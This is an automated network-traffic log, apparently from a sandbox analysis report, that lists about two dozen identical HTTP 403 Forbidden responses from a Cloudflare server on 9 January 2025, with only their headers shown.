Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:33 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:48 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j2X2aRD31c%2BK0MWJgTcNxo4MLyNUOAoGgBi2EjVovkmzl4ovE5bpJ4TUd9vZ5HMbl61fH%2BDbbbYbpSmQ40IJLQU14yuWFECQlz4IlKvLY5nnfIONtjpSCvY3%2FYJOBE5LIwBIouBsyoXf0CSY"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b78aed7f4231-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1646&min_rtt=1640&rtt_var=628&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1724748&cwnd=127&unsent_bytes=0&cid=5e47fdef3b880061&ts=145&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:49 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cwphnS6e2qbpoIQx%2BF%2BbyuszprDRV3m7Wq%2FS9lC4Am0TC1GR3br8l5qRlMns%2Fjpm2Ah6EaCDwCgpRfXnygg3boCGZtL7snuZlOUucIpus43BYaTAmZM5ZTD%2Fcsac%2Fp6fbLGemyQRQ7uD3bC4"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b78eaa160f81-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1569&min_rtt=1559&rtt_var=605&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1778319&cwnd=241&unsent_bytes=0&cid=788c2b9f17765a86&ts=141&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:35 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:50 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mPxMOUqGnAMC6zyAIw1zYn8dHKjOWCTy2NeKpgG8kmWmTG84X0z0vhveGwW6gOfFvJeWAMRzeHLqk0TliOIfr3NVvbrcsyqjDFmxbaNB0zqSucmZq3AVEbwhLzGFeFBrXgZSR6mSjCkcQAOM"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7927ce5de98-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1792&min_rtt=1661&rtt_var=886&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1076299&cwnd=212&unsent_bytes=0&cid=362a6fda005cb04b&ts=129&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:35 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:50 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wu2slWoNB6%2BH1EiS50E%2FUd0bkE77w%2Fy58dTmENxlty%2BNNJ%2Bz5nKWS%2FU%2FywewiRp9cTTxBexBS0cPCc6QrhaKGH%2BBT%2Byru1bK9lqlWXOqT6hgSoIHLbm6ongqmKjI4fQmCtjrzxiD3pnuFH4C"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7961cf18cdd-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1998&min_rtt=1978&rtt_var=781&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1365762&cwnd=162&unsent_bytes=0&cid=43c6d962e534d7d8&ts=123&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:36 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:51 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s23DDE3JCVLwemAj11MgucIuGCTo9xI2uElbto%2Bn5dKkxJ11k4hE5Nj7%2FBRjmjAK%2Bv8QFFjcbkffk8xAdJUFRI%2BUq7JFu%2Fx4%2FZ3XrCq3WfG3CHi2xWR%2Bm%2BNMjapnFE%2Fvv%2FJAlq3HCAyh1rkV"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b799cd6d8c72-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1905&min_rtt=1901&rtt_var=721&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1509043&cwnd=174&unsent_bytes=0&cid=58e0204a4446cf56&ts=125&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:36 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:51 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YY1319A1yOeL3zSRR03Of%2BxmsOk2tK5%2BWyC67bISkNpY2WfTLwjwzoTkG%2BeIV5nrdbqxJ8MxGuTjCJHvsOHqQl0Y81WLMrNF0TxbjcWKSzfX%2FMSGwM9Ur1cbjYJlZBwsr3lEG2%2BAs%2F3jsLPu"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b79d88021821-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1711&min_rtt=1704&rtt_var=653&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1656267&cwnd=242&unsent_bytes=0&cid=1baa6017b780597a&ts=135&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:37 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:52 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YmSzk21asITFovby0oYmO5UIDcDFdPIYXCL0l3EGQ8CJ%2BQsfzStL0dHoGdlrKbwTOQypPz7PocCk1uz77G7TxBN%2Fa4yMBDk1ZpWZiNIEVDM1Xjcgz7BOUAIRJou6q%2BNb2cpgqjcfc%2FSEC5zE"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7a15fea447a-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1594&min_rtt=1588&rtt_var=609&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1778319&cwnd=232&unsent_bytes=0&cid=1bb7d913073ed81c&ts=162&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:38 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:53 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=is7sL0I8epnR4k%2FA0jl%2BAxhoKsW7KYFtd2pGHyzh6qopwzUjGZYvOUBKq9Rmk83PeGXbPsv3oBUiIzvdg%2FcUB3emcRuNKtl2a1%2FQ2OKkw3SzLSlejssSIkksO0MQ%2BrPeI3BzqeNnjXKM9F3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7a51ffb7d0c-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2008&min_rtt=2002&rtt_var=763&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1423001&cwnd=156&unsent_bytes=0&cid=02d8ab2c5792ed8e&ts=147&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:38 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:53 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HMBC1tGRwgAjgOL6j56QtvjqLciZAdgmooRQnuRd0fiki76fu10jNGVpbYlew2%2FK5yvMu593%2ByAfQSZR1Qc3QbgccaHShyIcknu4Jb6yjpgD%2Bv0w1m3JW9cmA0bmVP3hl5GRo%2BKaRHvJJdD%2B"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7a8bdf00f41-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1505&min_rtt=1503&rtt_var=569&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1914754&cwnd=145&unsent_bytes=0&cid=bf55227851326502&ts=125&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:39 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:54 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Na77Vdfprz9aKwiO1Z2kZhR4%2B39o8XOwTMaLCKrwxrglaZnB4QcOlnlUwzRgEsKQH0dy4Gi4tdtHLwdpbFindcv1RT7wsSfjhuuLwhy126BeagF6MiPk8aOw29s7DI%2FHrnBTyVYCtKhyINf3"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7ac9bcb8cad-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2018&min_rtt=2005&rtt_var=778&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1382575&cwnd=246&unsent_bytes=0&cid=95c360b9c96914a1&ts=151&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:39 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:54 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IVCZ5lsf9quPC3yjxa3hsNIRO6rHlWdNet%2FHybsqiNC9gBFB5UMs%2FLlWWfuuK7IAhNTopMmLLL02GRutVYJenquYvdau9uwWGnWw3AoemdmjQ3BQAveNWf0iFud%2FtUdqmwtMrMvSD3FyhhKM"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7b0ac440fa9-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1477&min_rtt=1470&rtt_var=566&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1907250&cwnd=252&unsent_bytes=0&cid=d98d0796e4fbb395&ts=136&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:40 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:55 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BWgL7gnmlLC9GYfuHYqQlFHUB4dafoZ4ZVoWrv3wbfqVhY0M1VHPAwRGRkjiKgwYcKO21hTzFXWw7LEhqiG%2Bik%2FrdhpO9NwpBgyhd11LIY58qMEyDxV4Bl19%2BuhQJpSesx4CY49TeOmiYrhE"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7b458f0de93-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1604&min_rtt=1599&rtt_var=611&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1775075&cwnd=248&unsent_bytes=0&cid=5bb2b160ab9716a2&ts=135&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:41 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:56 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=98FEBv5lEXUkxNRGr4NQGeak7O9pRXzsMlKOKdAF5lcQ3cqzbpqtjuAyE5ZS0QLsOQOUrwdsLtpbVdh%2FP3XYd7WtrH0bO8vQUIwDl2o7zqBhvs4DRxPMPEGGC3RiCh8EI52UBot%2FKUtKPllz"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7b84cfd4378-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2404&min_rtt=2394&rtt_var=905&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1219715&cwnd=235&unsent_bytes=0&cid=1e3561361fe15e91&ts=152&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:41 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:56 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3Srfs8XYGN4H0K1zmEcCww9Wu%2BUjoTK%2FgQvSvQek6u%2F7J7nhSqeEkLh6l%2BjqdiSfjAtObjpHO%2BG5pDsCykV8e35usiGiRbA1Meolf2uh55OfsO6UX35IKKXaBillRY6dXd%2BlTANlWXl82JX%2B"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7bc8f294225-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1653&min_rtt=1631&rtt_var=657&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1611479&cwnd=235&unsent_bytes=0&cid=90ccf2d0b15ef9b6&ts=133&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:42 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:57 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bBq5k5Hg%2FipYojs9%2BmL7Wgqx94yW0k8tj%2Ffw74ThNdFLE4hz0Ei7r9f94PaAFQ7L95O6uSBgI6vwFmNJH5oICiV0MKD6HQ%2Fw52wKQ8vPq8aMg3hzFdV%2FZNWGn9loEXAeCm3PoFG2Elp%2BvUud"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7c04c1541e0-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1661&min_rtt=1643&rtt_var=652&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1632196&cwnd=239&unsent_bytes=0&cid=44f97e54c3770f79&ts=135&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:43 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:58 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mmg4x73k00ca8vOUAzwUg%2BDtZ0c1nHKRSv%2FVFBaw5aMlrn0y8BmSIfoyTljC%2FC7pEwYVR9wVDLX%2FmN0wmBMRtRZ43KPTT%2BHnYyxMXs1zDVsF7pY65ZUDdulS81CJTRaWk%2FKv4b93sEOJvnZj"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7c41b3e4337-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1591&min_rtt=1590&rtt_var=598&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1826141&cwnd=222&unsent_bytes=0&cid=88084ed0580e8013&ts=140&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:43 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:58 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Qxu5EOpGLPGspOcm17EmI0EEkH4PFxt7wPPwgkBlEEAu6Nn7gttVpf83NbrxfUuFGe7QTV81zMA87Sw4U24wF7mGEXOyqVLp2WZU8GMqAOVJfMpZzfL41ZCHF%2FLZWbXPtEMhgldBSScL6z7a"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7c7ecf5de95-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1633&min_rtt=1599&rtt_var=624&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1826141&cwnd=242&unsent_bytes=0&cid=343fa997ae16dbe0&ts=157&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:44 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:59 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=98WWVM6Lj7%2BAuAA%2B2UdeVM%2B6fQEoYmqLtkPgbW9egHC8HP4i7qRJZ8AeHVc%2B8qrGVkvNeossCXoKajP6Ca%2FCKwHJOxGV4kxzpLnDCd1T1%2BPFYGdeRHxNFnCLupgiVAtiaBQAylWmScHOesyz"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7cbccbdc343-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1516&min_rtt=1502&rtt_var=591&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1806930&cwnd=208&unsent_bytes=0&cid=3861025026439af5&ts=128&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:44 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:59 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6%2BWBMLPrWiLcaHd2K7rjxFNv88FH55ZoW%2B2OZtx6l2nSkyzBkN3lP%2BO0o68wnAcuJbX7XLF56AZfDjc%2Bmqbu6fdlknFrd2hNlXBj2Bp5uQlpforXSggUz491%2BtsHH1kjHG%2BMK79i5V5T0gJD"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7cfb80c43f8-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2043&min_rtt=2038&rtt_var=775&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1403171&cwnd=217&unsent_bytes=0&cid=9a395035d329ab1f&ts=157&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:45 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:00 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gRV%2FsqK9OQjqdmRnYSLLtrhI5VwLBAAsdEGf8fJT7rATNZkd6n6gFZh7UJbsd1pLaBWg6jxJgJFDgeBiJYVS1WE8e95R6u8fWflTxZjKNpwvR1mpKDxfhEBHbC%2FpZoiqw5dn%2BcUBIu%2FlgwZA"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7d38d7b6a4e-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1607&min_rtt=1603&rtt_var=609&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1785932&cwnd=212&unsent_bytes=0&cid=64259a463a304893&ts=145&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:46 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:01 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x3HCNh7uj%2B9SCtA6KyePBPSe%2BROiMQcQw6upHnBRJEdOTRuUM8n5VFglQRP%2F19i7ciNqAk3Ms2JZJ8IrbwUkP%2FgZvdrJ1PcPU0x%2BqvCOehzVzoz4P8sQOYO9L4rYBjfFrAEdOn8Eti7Ap%2Bv7"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7d75fb24358-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1758&min_rtt=1752&rtt_var=670&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1617728&cwnd=206&unsent_bytes=0&cid=b8dd2e66bd3126b8&ts=142&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:46 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:01 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=liJBzv52LhYzK9NaeeeyTSEjA0C1sr5pw13%2FUAVpRVulR1NBS%2FvrWwKsZYGlTlRDYtpVDwBg%2FzXQjnOO7WFt%2FZhFXQA83Wj%2FpUfuNSfz%2BkK4j3WrNDCK%2B3fqC5s7WWhF5sxaP5fnBSXO8N1t"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7db3c18436e-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1752&min_rtt=1649&rtt_var=692&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1770770&cwnd=238&unsent_bytes=0&cid=0b70fe12a26f152d&ts=146&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:47 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:02 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0ter9NTDjyLZZu5aC5E7L4ZWfdPFgRXs7OisWyo4c60BuBnkdrAq2tOdscw4CaRWosdbhslYkW2g%2FCRdn6Vux7jgd3N2WiDAS2krSlj6RAmOUAW72lMbyuh6YJh9%2BfRRvM6HkiYvGPHOfgo%2B"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7deef5e8c59-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1922&min_rtt=1912&rtt_var=737&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1465863&cwnd=196&unsent_bytes=0&cid=a4af57a4ca583f69&ts=131&x=0"
